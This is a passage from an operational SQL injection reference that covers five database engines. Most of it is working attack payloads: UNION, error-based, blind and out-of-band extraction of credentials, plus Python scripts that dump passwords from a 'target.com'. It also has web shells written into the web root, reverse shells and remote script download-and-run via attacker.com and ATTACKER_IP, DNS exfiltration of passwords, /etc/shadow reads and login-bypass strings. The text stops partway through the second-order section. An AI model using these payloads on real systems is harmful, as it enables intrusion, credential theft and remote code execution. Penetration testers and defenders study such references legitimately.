A complete operational reference for SQL Injection covering MySQL, PostgreSQL, Microsoft SQL Server (MSSQL), Oracle, and SQLite. Covers detection, UNION-based, error-based, boolean blind, time-based blind, out-of-band, stacked queries, second-order, file read/write, OS command execution, WAF bypass, SQLMap, and remediation. Mapped to MITRE ATT&CK T1190.
1. Core Concepts & SQLi Types
SQL INJECTION TAXONOMY:
IN-BAND SQLi (results returned in same channel as injection)
├── UNION-Based → append extra SELECT, results shown in page
└── Error-Based → trigger DB error that leaks data in message
INFERENTIAL / BLIND SQLi (no direct output)
├── Boolean-Based → ask true/false questions, observe response diff
└── Time-Based → ask true/false questions, observe delay
OUT-OF-BAND SQLi (data sent via different channel)
└── DNS / HTTP → DB makes external request containing stolen data
SPECIAL TYPES
├── Stacked Queries → inject second SQL statement after semicolon
├── Second-Order → inject stored value, triggered by later query
└── NoSQL Injection → MongoDB / Redis (separate topic)
Key Terms:
- Injection Point — parameter where user input is unsafely embedded in SQL.
- Context — string / integer / identifier context changes what chars break the query.
- Comment — --, #, /**/ used to truncate the rest of the original query.
- RCE — Remote Code Execution — possible via xp_cmdshell (MSSQL) or COPY TO PROGRAM (PostgreSQL).
- OOB — Out-of-Band — data exfiltrated via DNS lookup or HTTP request from DB server.
- Stacked Queries — injecting a second statement via ; — supported by MSSQL, PostgreSQL, MySQL (sometimes).
- Second-Order — payload stored in DB, triggers SQLi when read back by a later query.
2. Detection & Fingerprinting
2.1 Finding Injection Points
Common injection points:
→ GET/POST parameters: ?id=1 → ?id=1'
→ Cookie values: Cookie: session=abc → session=abc'
→ HTTP headers:User-Agent, Referer, X-Forwarded-For
→ JSON body parameters: {"id":"1"} →{"id":"1'"}
→ XML body parameters
→ Path parameters: /user/1 → /user/1'
→ Search fields
→ Login username / password fields
→ ORDER BY / sort parameters
2.2 Break & Repair Method
-
Take a valid value (e.g. search returns 23 results)
-
Append a single quote: value'
→ If response changes / errors → potential SQLi -
Repair the broken statement with one of:
| Repair | Notes |
|---|---|
' ' |
MySQL space concatenation |
'\|\|' |
Oracle / PostgreSQL concatenation |
'+' |
MSSQL concatenation |
' AND '1'='1 |
Boolean true — should restore |
' -- - |
Comment out rest of query |
AND 1=1 |
Integer context — no quotes needed |
AND 1=1 -- - |
Integer context + comment |
| - Confirm with: | |
| value' AND '1'='1 → should return normal result | |
| value' AND '1'='0 → should return empty / different result |
2.3 Database Fingerprinting
Test these payloads in order — first match = database type:
| Order | Payload | DB if True |
|---|---|---|
| 1 | AND 'foo' 'bar' = 'foobar' |
MySQL |
| 2 | AND DATALENGTH('foo') = 3 |
MSSQL |
| 3 | AND TO_HEX(1) = '1' |
PostgreSQL |
| 4 | AND LENGTHB('foo') = '3' |
Oracle |
| 5 | AND GLOB('foo*', 'foobar') = 1 |
SQLite |
# Quick version queries after access is confirmed:
# MySQL:
' UNION SELECT @@version -- -
# MSSQL:
' UNION SELECT @@version -- -
# PostgreSQL:
' UNION SELECT version() -- -
# Oracle:
' UNION SELECT banner FROM v$version WHERE ROWNUM=1 -- -
# SQLite:
' UNION SELECT sqlite_version() -- -
3. Cross-DB Syntax Reference
3.1 Comments
| DB | Syntax |
|---|---|
| MySQL | -- comment #comment /*comment*/ |
| PostgreSQL | -- comment /*comment*/ |
| MSSQL | -- comment /*comment*/ |
| Oracle | -- comment /*comment*/ |
| SQLite | -- comment /*comment*/ |
Note:
--requires a trailing space to be valid in most DBs. Use-- -as a safe habit.
3.2 String Concatenation
| DB | Syntax |
|---|---|
| MySQL | 'foo' 'bar' or CONCAT('foo','bar') |
| PostgreSQL | 'foo'\|\|'bar' or CONCAT('foo','bar') |
| MSSQL | 'foo'+'bar' or CONCAT('foo','bar') |
| Oracle | 'foo'\|\|'bar' or CONCAT('foo','bar') |
| SQLite | 'foo'\|\|'bar' or CONCAT('foo','bar') |
3.3 Substring Functions
| DB | Function |
|---|---|
| MySQL | SUBSTRING('foobar',1,3) SUBSTR(...) MID(...) |
| MySQL | SUBSTRING('foobar' FROM 1 FOR 3) (commaless) |
| PostgreSQL | SUBSTRING('foobar',1,3) SUBSTR(...) |
| MSSQL | SUBSTRING('foobar',1,3) |
| Oracle | SUBSTR('foobar',1,3) |
| SQLite | SUBSTRING('foobar',1,3) SUBSTR(...) |
3.4 String Length
| DB | Function | Counts |
|---|---|---|
| MySQL | LENGTH('foo') |
Bytes |
| MySQL | CHAR_LENGTH('foo') |
Characters |
| PostgreSQL | LENGTH('foo') |
Characters |
| MSSQL | DATALENGTH('foo') |
Bytes |
| MSSQL | LEN('foo') |
Characters |
| Oracle | LENGTHB('foo') |
Bytes |
| Oracle | LENGTH('foo') |
Characters |
| SQLite | LENGTH('foo') |
Characters |
3.5 Char to Integer (for blind comparisons)
| DB | Function | Output type |
|---|---|---|
| MySQL | HEX('a') |
Hex (61) |
| PostgreSQL | ASCII('a') |
Decimal (97) |
| MSSQL | UNICODE('a') |
Decimal (97) |
| Oracle | RAWTOHEX('a') |
Hex (61) |
| SQLite | UNICODE('a') |
Decimal (97) |
3.6 LIMIT / OFFSET
| DB | Syntax |
|---|---|
| MySQL | LIMIT 1 / LIMIT 4,1 / LIMIT 1 OFFSET 4 |
| PostgreSQL | LIMIT 1 OFFSET 4 |
| MSSQL | ORDER BY 1 OFFSET 4 ROWS FETCH NEXT 1 ROWS ONLY |
| Oracle ≥ 12 | FETCH NEXT 1 ROWS ONLY / OFFSET 4 ROWS FETCH NEXT 1 ROWS ONLY |
| Oracle ≤ 11 | WHERE ROWNUM = 1 |
| SQLite | LIMIT 1 OFFSET 4 |
3.7 Group Concatenation
| DB | Function |
|---|---|
| MySQL | GROUP_CONCAT(col SEPARATOR ',') |
| PostgreSQL | STRING_AGG(col, ',') |
| MSSQL | STRING_AGG(col, ',') |
| Oracle | LISTAGG(col, ',') |
| SQLite | GROUP_CONCAT(col, ',') |
3.8 Version / Current Database
| DB | Version | Current DB |
|---|---|---|
| MySQL | @@VERSION / VERSION() |
DATABASE() |
| PostgreSQL | VERSION() |
CURRENT_DATABASE() / CURRENT_SCHEMA() |
| MSSQL | @@VERSION |
DB_NAME() / SCHEMA_NAME() |
| Oracle | SELECT BANNER FROM v$version WHERE ROWNUM=1 |
sys_context('USERENV','CURRENT_SCHEMA') |
| SQLite | sqlite_version() |
N/A (single-file DB) |
4. UNION-Based Injection
HOW IT WORKS:
Append a UNION SELECT to the original query.
The results of your injected SELECT appear alongside (or instead of)
the original results if:
1. Same number of columns as original query
2. Compatible data types in each column
3. At least one column is displayed in the page output
4.1 Determine Number of Columns
-- Method 1: ORDER BY (increment until error)
' ORDER BY 1 -- -
' ORDER BY 2 -- -
' ORDER BY 3 -- - ← error here means 2 columns
' ORDER BY 4 -- -
-- Method 2: UNION SELECT NULLs (increment until no error)
' UNION SELECT NULL -- -
' UNION SELECT NULL,NULL -- -
' UNION SELECT NULL,NULL,NULL -- -
4.2 Find Displayed Columns
-- Replace NULLs one by one with a string marker
' UNION SELECT 'a',NULL,NULL -- -
' UNION SELECT NULL,'a',NULL -- -
' UNION SELECT NULL,NULL,'a' -- -
-- Whichever 'a' appears in the page = that column is rendered
4.3 UNION Extraction Payloads
-- ── MySQL ──
' UNION SELECT NULL,CONCAT(username,0x3a,password),NULL FROM users -- -
' UNION SELECT NULL,GROUP_CONCAT(table_name SEPARATOR ','),NULL FROM information_schema.tables WHERE table_schema=database() -- -
-- ── PostgreSQL ──
' UNION SELECT NULL,version(),NULL -- -
' UNION SELECT NULL,STRING_AGG(table_name,','),NULL FROM information_schema.tables WHERE table_schema='public' -- -
-- ── MSSQL ──
' UNION SELECT NULL,@@version,NULL -- -
' UNION SELECT NULL,name,NULL FROM master.sys.databases -- -
-- ── Oracle ──
' UNION SELECT NULL,banner,NULL FROM v$version WHERE ROWNUM=1 -- -
' UNION SELECT NULL,table_name,NULL FROM all_tables WHERE ROWNUM=1 -- -
-- ── SQLite ──
' UNION SELECT NULL,sqlite_version(),NULL -- -
' UNION SELECT NULL,tbl_name,NULL FROM sqlite_master WHERE type='table' -- -
4.4 Full UNION Workflow
Step 1: Find injectable parameter
GET /products?category=Gifts
→ Test: category=Gifts'
→ Error or behavior change: potential SQLi
Step 2: Count columns
category=Gifts' ORDER BY 3 -- - ← works
category=Gifts' ORDER BY 4 -- - ← error
∴ 3 columns
Step 3: Find displayed columns
category=Gifts' UNION SELECT 'a','b','c' -- -
∴ column 2 shows 'b' in page
Step 4: Extract data
category=Gifts' UNION SELECT NULL,version(),NULL -- -
category=Gifts' UNION SELECT NULL,table_name,NULL FROM information_schema.tables LIMIT 1 -- -
category=Gifts' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users' -- -
category=Gifts' UNION SELECT NULL,CONCAT(username,':',password),NULL FROM users -- -
5. Error-Based Injection
HOW IT WORKS:
Craft a SQL expression that intentionally causes a DB error.
The error message includes the result of a subquery.
Works when error messages are displayed in the response.
5.1 MySQL Error-Based
-- EXTRACTVALUE — most common
' AND EXTRACTVALUE(1337,CONCAT(0x7e,(SELECT version()),0x7e)) -- -
' AND EXTRACTVALUE(1337,CONCAT(0x7e,(SELECT database()),0x7e)) -- -
' AND EXTRACTVALUE(1337,CONCAT(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e)) -- -
' AND EXTRACTVALUE(1337,CONCAT(0x7e,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users'),0x7e)) -- -
' AND EXTRACTVALUE(1337,CONCAT(0x7e,(SELECT CONCAT(username,0x3a,password) FROM users LIMIT 1),0x7e)) -- -
-- UPDATEXML
' AND UPDATEXML(1337,CONCAT(0x7e,(SELECT version()),0x7e),31337) -- -
-- GTID_SUBSET
' AND GTID_SUBSET(CONCAT(0x7e,(SELECT version()),0x7e),1337) -- -
-- EXP
' AND EXP(~(SELECT * FROM (SELECT CONCAT(0x7e,(SELECT version()),0x7e,'x'))x)) -- -
-- FLOOR + RAND (group by error)
' OR 1 GROUP BY CONCAT(0x7e,(SELECT version()),0x7e,FLOOR(RAND(0)*2)) HAVING MIN(0) -- -
5.2 PostgreSQL Error-Based
-- CAST to NUMERIC
' AND 1=CAST((SELECT version()) AS INT) -- -
' AND 1337=CAST((SELECT table_name FROM information_schema.tables LIMIT 1) AS NUMERIC) -- -
' AND 1337=CAST((SELECT password FROM users LIMIT 1) AS INT) -- -
-- Type conversion shorthand
' AND CAST((SELECT version()) AS INT)=1337 -- -
' AND (SELECT version())::int=1 -- -
5.3 MSSQL Error-Based
-- CONVERT type mismatch
' AND 1=CONVERT(INT,(SELECT @@version)) -- -
' AND 1337=CONVERT(INT,(SELECT TOP 1 table_name FROM information_schema.tables)) -- -
' AND 1337=CONVERT(INT,(SELECT TOP 1 column_name FROM information_schema.columns WHERE table_name='users')) -- -
' AND 1337=CONVERT(INT,(SELECT TOP 1 CONCAT(username,':',password) FROM users)) -- -
-- IN error
' AND 1337 IN (SELECT ('~'+(SELECT @@version)+'~')) -- -
5.4 Oracle Error-Based
-- UTL_INADDR (requires privilege)
' AND 1337=UTL_INADDR.GET_HOST_ADDRESS('~'||(SELECT banner FROM v$version WHERE ROWNUM=1)||'~') -- -
-- XMLType
' AND 1337=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'~'||(SELECT banner FROM v$version WHERE ROWNUM=1)||'~'||CHR(62))) FROM DUAL) -- -
-- CTXSYS
' AND 1337=CTXSYS.DRITHSX.SN(1337,'~'||(SELECT banner FROM v$version WHERE ROWNUM=1)||'~') -- -
6. Boolean-Based Blind Injection
HOW IT WORKS:
No data is returned directly.
Craft conditions that are TRUE or FALSE.
Application responds differently for TRUE vs FALSE.
Extract data one bit/character at a time by asking:
"Is the Nth character of the password > ASCII 77?"
Build a binary oracle:
→ TRUE = normal response (200 OK, content present, length X)
→ FALSE = different response (empty result, shorter length, etc.)
6.1 Confirming Boolean Injection
-- Should return TRUE (normal response):
' AND 1=1 -- -
' AND 'a'='a' -- -
-- Should return FALSE (different/empty response):
' AND 1=2 -- -
' AND 'a'='b' -- -
-- If those two responses differ → boolean injection confirmed
6.2 Boolean Error Inferential
-- Cause a DB error if condition is TRUE → error = condition is true
-- MySQL:
' AND 1=(SELECT IF(1=1,(SELECT table_name FROM information_schema.tables),1)) -- -
-- PostgreSQL:
' AND 1=(SELECT CASE WHEN (1=1) THEN CAST(1/0 AS INTEGER) ELSE 1 END) -- -
-- MSSQL:
' AND 1=(SELECT CASE WHEN (1=1) THEN 1/0 ELSE 1 END) -- -
-- Oracle:
' AND 1=(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '1' END FROM dual) -- -
-- SQLite:
' AND 1=(SELECT CASE WHEN (1=1) THEN abs(-9223372036854775808) ELSE 1 END) -- -
6.3 Data Extraction — Character by Character
-- Generic pattern: test if Nth char of result matches a value
-- Replace CONDITION with actual data query
-- MySQL:
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a' -- -
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))>77 -- -
-- PostgreSQL:
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a' -- -
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))>77 -- -
-- MSSQL:
' AND SUBSTRING((SELECT TOP 1 password FROM users WHERE username='admin'),1,1)='a' -- -
' AND UNICODE(SUBSTRING((SELECT TOP 1 password FROM users WHERE username='admin'),1,1))>77 -- -
-- Oracle:
' AND SUBSTR((SELECT password FROM users WHERE username='admin'),1,1)='a' -- -
' AND RAWTOHEX(SUBSTR((SELECT password FROM users WHERE username='admin'),1,1))>'61' -- -
-- SQLite:
' AND SUBSTR((SELECT password FROM users WHERE username='admin'),1,1)='a' -- -
' AND UNICODE(SUBSTR((SELECT password FROM users WHERE username='admin'),1,1))>77 -- -
6.4 Boolean Extraction — Python Script
import requests
TARGET = "https://target.com/products?category="
TRUE_INDICATOR = "Gift" # string that appears in TRUE responses
def oracle(payload):
"""Returns True if payload is TRUE"""
r = requests.get(TARGET + f"Gifts{payload}", timeout=10)
return TRUE_INDICATOR in r.text
def extract_string(query, max_len=50):
result = ""
for pos in range(1, max_len + 1):
# Binary search for ASCII value
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi) // 2
# MySQL syntax:
payload = f"' AND ASCII(SUBSTRING(({query}),{pos},1))>{mid} -- -"
if oracle(payload):
lo = mid + 1
else:
hi = mid
char = chr(lo) if lo != 32 else ""
if not char:
break
result += char
print(f"[+] Character {pos}: {char} → {result}")
return result
# Extract current database name
db = extract_string("SELECT database()")
print(f"\n[+] Database: {db}")
# Extract first password
pw = extract_string("SELECT password FROM users LIMIT 1")
print(f"\n[+] Password: {pw}")
7. Time-Based Blind Injection
HOW IT WORKS:
No response difference between TRUE and FALSE.
Instead: measure response time.
If condition is TRUE → DB sleeps → response is delayed.
If condition is FALSE → no sleep → response is fast.
Best practice:
→ Run each probe 3 times, use median (avoids network jitter)
→ Use threshold of 5–8 seconds to account for latency
→ Use conditional sleep (safe) not unconditional sleep
7.1 Unconditional Sleep (Confirm Only)
⚠️ May execute multiple times per row — use only to confirm, not extract.
| DB | Payload |
|---|---|
| MySQL | ' AND SLEEP(5) -- - |
| PostgreSQL | ' AND 'x'\|\|PG_SLEEP(5)='x' -- - |
| MSSQL | '; WAITFOR DELAY '0:0:5' -- - |
| Oracle | ' AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)=1 -- - |
| SQLite | ' AND LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000)))) -- - |
7.2 Conditional Sleep (Safe — Use for Extraction)
Replace 1=1 with your actual test condition.
| DB | Payload |
|---|---|
| MySQL | ' AND (SELECT 1337 FROM (SELECT(SLEEP(5-(IF((1=1),0,5))))) r) -- - |
| PostgreSQL | ' AND 1337=(CASE WHEN (1=1) THEN (SELECT 1337 FROM PG_SLEEP(5)) ELSE 1337 END) -- - |
| MSSQL | ' IF(1=1) WAITFOR DELAY '0:0:5' -- - |
| Oracle | ' AND 1337=(CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 1337 END) -- - |
| SQLite | ' AND 1337=(CASE WHEN (1=1) THEN (SELECT 1337 FROM (SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000)))))) ELSE 1337 END) -- - |
7.3 Stacked Time-Based (Requires Stacked Query Support)
| DB | Payload |
|---|---|
| MySQL | ; SELECT IF((1=1),SLEEP(5),1337) -- - |
| PostgreSQL | ; SELECT (CASE WHEN (1=1) THEN PG_SLEEP(5) ELSE 1 END) -- - |
| MSSQL | ; IF(1=1) WAITFOR DELAY '0:0:5' -- - |
| Oracle | ; SELECT CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 1337 END FROM DUAL -- - |
7.4 Time-Based Extraction — Python Script
import requests, time, statistics
TARGET = "https://target.com/products?category="
SLEEP_SECONDS = 5
PROBES = 3
def time_oracle(payload, threshold=SLEEP_SECONDS * 0.8):
"""Returns True if payload causes a delay"""
times = []
for _ in range(PROBES):
t0 = time.time()
try:
requests.get(TARGET + f"Gifts{payload}", timeout=SLEEP_SECONDS * 3)
except:
pass
times.append(time.time() - t0)
return statistics.median(times) >= threshold
def extract_string_time(query, max_len=50):
result = ""
for pos in range(1, max_len + 1):
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi) // 2
# MySQL conditional sleep:
payload = (
f"' AND (SELECT 1337 FROM "
f"(SELECT(SLEEP({SLEEP_SECONDS}-(IF("
f"(ASCII(SUBSTRING(({query}),{pos},1))>{mid}),0,{SLEEP_SECONDS})))"
f") r) -- -"
)
if time_oracle(payload):
lo = mid + 1
else:
hi = mid
char = chr(lo) if lo != 32 else ""
if not char:
break
result += char
print(f"[+] Position {pos}: {char} → {result}")
return result
db = extract_string_time("SELECT database()")
print(f"\n[+] Database: {db}")
8. Out-of-Band (OOB) Injection
HOW IT WORKS:
The DB server makes an outbound DNS or HTTP request containing
the stolen data. Used when:
→ No in-band output visible
→ Time-based is unreliable (network jitter too high)
→ DB server has outbound network access
Tools:
→ Burp Collaborator (oastify.com)
→ interactsh (open source: https://github.com/projectdiscovery/interactsh)
→ Your own DNS server (dnscat2-server, tcpdump)
8.1 DNS Lookup (Confirm OOB)
| DB | Payload |
|---|---|
| MSSQL | '; EXEC master..xp_dirtree '//COLLABORATOR.oastify.com/a' -- - |
| PostgreSQL | '; COPY (SELECT '') TO PROGRAM 'nslookup COLLABORATOR.oastify.com' -- - |
| Oracle | ' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"?><!DOCTYPE r [<!ENTITY % r SYSTEM "http://COLLABORATOR.oastify.com/"> %r;]>'),'/l') FROM dual -- - |
| MySQL | ' UNION SELECT LOAD_FILE('\\\\COLLABORATOR.oastify.com\\a') -- - (Windows only) |
8.2 DNS with Data Exfiltration
-- ── MSSQL ── (most reliable for OOB)
'; DECLARE @q VARCHAR(1024);
SET @q=(SELECT TOP 1 password FROM users);
EXEC('master..xp_dirtree "//'+@q+'.COLLABORATOR.oastify.com/a"') -- -
-- One-liner MSSQL:
'; declare @p varchar(1024);set @p=(SELECT TOP 1 password FROM users);exec('master..xp_dirtree "//'+@p+'.COLLABORATOR.oastify.com/a"') -- -
-- ── Oracle ──
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE r [<!ENTITY % rr SYSTEM "http://'||(SELECT password FROM users WHERE ROWNUM=1)||'.COLLABORATOR.oastify.com/"> %rr;]>'),'/l') FROM dual -- -
-- ── PostgreSQL ──
'; CREATE OR REPLACE FUNCTION f() RETURNS void AS $$
DECLARE c text; DECLARE p text;
BEGIN SELECT password INTO p FROM users LIMIT 1;
c := 'copy (SELECT '''') to program ''nslookup '||p||'.COLLABORATOR.oastify.com''';
EXECUTE c; END; $$ LANGUAGE plpgsql SECURITY DEFINER; SELECT f(); -- -
-- ── MySQL (via UTL_HTTP if available, Windows UNC path) ──
' UNION SELECT LOAD_FILE(CONCAT('\\\\\\\\', (SELECT password FROM users LIMIT 1), '.COLLABORATOR.oastify.com\\a')) -- -
8.3 interactsh Setup (Free Burp Collaborator Alternative)
# Install:
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
# Start listener:
interactsh-client
# → Gives you a unique domain like: abc123.oast.fun
# Use abc123.oast.fun in your OOB payloads
# interactsh-client will print DNS/HTTP interactions received
9. Stacked Queries
WHAT THEY ARE:
Multiple SQL statements separated by a semicolon.
The second statement executes but its output is usually NOT returned.
Primarily used for: time-based blind, executing stored procs, file writes.
SUPPORT:
MSSQL → YES (most reliable)
PostgreSQL → YES (cannot be disabled)
MySQL → SOMETIMES (depends on PHP/Python API used)
Oracle → NO (does not support batched queries natively)
SQLite → YES
9.1 Stacked Query Detection
-- If this causes a 10-second delay → stacked queries work:
'; WAITFOR DELAY '0:0:10' -- - -- MSSQL
'; SELECT PG_SLEEP(10) -- - -- PostgreSQL
'; SELECT SLEEP(10) -- - -- MySQL
'; SELECT 1337 FROM (SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000))))) -- - -- SQLite
9.2 Conditional Stacked Queries
-- MSSQL — most powerful (xp_cmdshell, file writes, OOB):
'; IF(1=1) WAITFOR DELAY '0:0:5' -- -
'; IF((SELECT COUNT(*) FROM users WHERE username='admin')>0) WAITFOR DELAY '0:0:5' -- -
-- PostgreSQL:
'; SELECT (CASE WHEN (1=1) THEN PG_SLEEP(5) ELSE 1 END) -- -
-- MySQL:
'; SELECT IF((SELECT COUNT(*) FROM users)>0, SLEEP(5), 0) -- -
10. Database Enumeration — All DBs
10.1 List Databases
| DB | Query |
|---|---|
| MySQL | SELECT schema_name FROM information_schema.schemata |
| PostgreSQL | SELECT datname FROM pg_database |
| PostgreSQL | SELECT DISTINCT schemaname FROM pg_tables |
| MSSQL | SELECT name FROM master.sys.databases |
| MSSQL | SELECT name FROM master..sysdatabases |
| Oracle | SELECT OWNER FROM (SELECT DISTINCT OWNER FROM sys.all_tables) |
| SQLite | N/A (file-based) |
10.2 List Tables
| DB | Query |
|---|---|
| MySQL | SELECT table_name FROM information_schema.tables WHERE table_schema='dbname' |
| PostgreSQL | SELECT tablename FROM pg_tables WHERE schemaname='public' |
| PostgreSQL | SELECT table_name FROM information_schema.tables WHERE table_schema='public' |
| MSSQL | SELECT table_name FROM information_schema.tables WHERE table_catalog='dbname' |
| MSSQL | SELECT name FROM dbname..sysobjects WHERE xtype='U' |
| Oracle | SELECT table_name FROM all_tables WHERE owner='DBNAME' |
| SQLite | SELECT tbl_name FROM sqlite_master WHERE type='table' |
10.3 List Columns
| DB | Query |
|---|---|
| MySQL | SELECT column_name,column_type FROM information_schema.columns WHERE table_name='users' AND table_schema='dbname' |
| PostgreSQL | SELECT column_name,data_type FROM information_schema.columns WHERE table_name='users' |
| MSSQL | SELECT COL_NAME(OBJECT_ID('dbname.dbo.users'), 1) (increment index) |
| Oracle | SELECT column_name,data_type FROM sys.all_tab_columns WHERE table_name='USERS' |
| SQLite | SELECT MAX(sql) FROM sqlite_master WHERE tbl_name='users' |
| SQLite | SELECT name FROM pragma_table_info('users') |
10.4 Extract Credentials
-- ── MySQL ──
' UNION SELECT NULL,CONCAT(username,0x3a,password),NULL FROM users -- -
' UNION SELECT NULL,GROUP_CONCAT(username,0x3a,password SEPARATOR 0x0a),NULL FROM users -- -
-- ── PostgreSQL ──
' UNION SELECT NULL,username||':'||password,NULL FROM users -- -
' UNION SELECT NULL,STRING_AGG(username||':'||password,chr(10)),NULL FROM users -- -
-- ── MSSQL ──
' UNION SELECT NULL,username+':'+password,NULL FROM users -- -
' UNION SELECT NULL,(SELECT STRING_AGG(username+':'+password,',') FROM users),NULL -- -
-- ── Oracle ──
' UNION SELECT NULL,username||':'||password,NULL FROM users WHERE ROWNUM=1 -- -
' UNION SELECT NULL,LISTAGG(username||':'||password,',') WITHIN GROUP (ORDER BY 1),NULL FROM users -- -
-- ── SQLite ──
' UNION SELECT NULL,username||':'||password,NULL FROM users LIMIT 1 -- -
' UNION SELECT NULL,GROUP_CONCAT(username||':'||password,','),NULL FROM users -- -
11. File Read / Write
⚠️ Requires appropriate DB-level privileges.
11.1 Reading Files
| DB | Method | Requirement |
|---|---|---|
| MySQL | SELECT LOAD_FILE('/etc/passwd') |
FILE privilege |
| PostgreSQL | SELECT PG_READ_FILE('/etc/passwd') |
Superuser |
| MSSQL | SELECT * FROM OPENROWSET(BULK 'C:\Windows\win.ini', SINGLE_CLOB) AS t |
ADMINISTER BULK OPS |
| Oracle | utl_file.get_line(utl_file.fopen('/etc/','passwd','R'),buf) |
UTL_FILE privilege |
| SQLite | SELECT readfile('/etc/passwd') |
readfile() extension |
-- MySQL file read in UNION:
' UNION SELECT NULL,LOAD_FILE('/etc/passwd'),NULL -- -
' UNION SELECT NULL,LOAD_FILE('/etc/shadow'),NULL -- -
' UNION SELECT NULL,LOAD_FILE('C:\\Windows\\System32\\drivers\\etc\\hosts'),NULL -- -
-- PostgreSQL:
' UNION SELECT NULL,PG_READ_FILE('/etc/passwd'),NULL -- -
' UNION SELECT NULL,PG_READ_FILE('/home/postgres/.bash_history'),NULL -- -
-- MSSQL (stacked):
'; SELECT BulkColumn FROM OPENROWSET(BULK 'C:\inetpub\wwwroot\web.config', SINGLE_CLOB) r -- -
11.2 Writing Files (Web Shell)
-- ── MySQL ──
' UNION SELECT NULL,'<?php system($_GET["cmd"]); ?>',NULL INTO OUTFILE '/var/www/html/shell.php' -- -
' UNION SELECT NULL,'<?php system($_REQUEST["c"]); ?>',NULL INTO DUMPFILE '/var/www/html/c.php' -- -
-- Find writable web root first:
' UNION SELECT NULL,'test',NULL INTO OUTFILE '/var/www/html/test.txt' -- -
-- ── PostgreSQL ──
'; COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php' -- -
-- ── MSSQL — write via OLE automation (requires Ole Automation Procedures enabled) ──
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures',1; RECONFIGURE;
DECLARE @fso INT, @file INT;
EXEC sp_oacreate 'Scripting.FileSystemObject', @fso OUT;
EXEC sp_oamethod @fso,'OpenTextFile',@file OUT,'C:\inetpub\wwwroot\shell.asp',8,1;
EXEC sp_oamethod @file,'WriteLine',NULL,'<%execute(request("cmd"))%>';
EXEC sp_oadestroy @file; EXEC sp_oadestroy @fso -- -
12. OS Command Execution
12.1 MSSQL — xp_cmdshell
-- Enable xp_cmdshell (requires sysadmin):
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE -- -
-- Execute command:
'; EXEC xp_cmdshell 'whoami' -- -
'; EXEC xp_cmdshell 'powershell -enc <BASE64_PAYLOAD>' -- -
-- Reverse shell via xp_cmdshell:
'; EXEC xp_cmdshell 'powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString(''http://attacker.com/shell.ps1'')"' -- -
-- Get output (store in temp table):
'; CREATE TABLE #output (data NVARCHAR(4000));
INSERT INTO #output EXEC xp_cmdshell 'whoami';
SELECT data FROM #output -- -
12.2 PostgreSQL — COPY TO PROGRAM
-- Requires superuser:
'; COPY (SELECT '') TO PROGRAM 'id > /tmp/out.txt' -- -
'; COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' -- -
'; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/shell.sh|bash' -- -
-- Read command output:
'; CREATE TABLE cmd_output (data text);
COPY cmd_output FROM PROGRAM 'id';
SELECT * FROM cmd_output -- -
12.3 Oracle — DBMS_SCHEDULER
-- Requires CREATE JOB privilege:
'; BEGIN DBMS_SCHEDULER.CREATE_JOB(
job_name => 'RCE_JOB',
job_type => 'EXECUTABLE',
job_action => '/bin/bash',
number_of_arguments => 3,
enabled => FALSE
);
DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('RCE_JOB',1,'-c');
DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('RCE_JOB',2,'id>/tmp/rce.txt');
DBMS_SCHEDULER.ENABLE('RCE_JOB');
END; -- -
-- Via OS_COMMAND package (if available):
' UNION SELECT os_command.exec_clob('id') FROM dual -- -
13. Authentication Bypass
13.1 Classic Auth Bypass Payloads
-- Login field payloads (Username field):
admin'--
admin'-- -
admin'#
admin'/*
' OR 1=1 -- -
' OR '1'='1
' OR '1'='1'--
admin' OR '1'='1
admin' OR 1=1 -- -
') OR ('1'='1
' OR 1=1#
" OR "1"="1
' OR 'x'='x
1' OR '1'='1
' UNION SELECT 1,1,1 -- -
-- Both username and password:
-- Username: admin'--
-- Password: anything
-- Username: ' OR 1=1 LIMIT 1 -- -
-- Password: anything
13.2 "Safe" OR-Based Payloads (Per Database)
These only return the first row, not all rows — safer for real engagements.
| DB | Payload |
|---|---|
| MySQL | ' OR IF((NOW()=SYSDATE()),SLEEP(0),1)='0 |
| PostgreSQL | ' OR (CASE WHEN ((CLOCK_TIMESTAMP()-NOW())<'0:0:1') THEN '1' ELSE '0' END)='1 |
| Oracle | ' OR ROWNUM='1 |
| SQLite | ' OR ROWID='1 |
13.3 POST Body Injection
# Test login with SQLi in both fields:
curl -s -X POST https://target.com/login \
--data "username=admin'--+-&password=anything"
curl -s -X POST https://target.com/login \
--data "username=admin&password=' OR '1'='1"
14. Second-Order Injection
WHAT IT IS:
Payload is stored in the DB without triggering injection (INSERT is safe).
The payload fires later when another query reads and uses the stored value.
Example:
1. Register username: admin'--
2. Application inserts safely: INSERT INTO users VALUES('admin'--', ...)
